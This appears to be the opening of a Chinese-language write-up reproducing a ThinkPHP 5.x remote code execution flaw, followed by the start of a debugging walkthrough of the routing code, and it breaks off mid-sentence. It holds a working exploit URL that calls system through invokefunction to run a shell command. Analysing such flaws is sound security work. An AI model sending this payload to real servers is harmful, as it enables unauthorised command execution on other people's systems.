1.漏洞复现 http://www.tp.com/5.7/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 命令执行成功。 2.断点调式到App->run()方法中,进入本类中的routeCheck方法。$path通过path()方法执行得到,进入path()方法,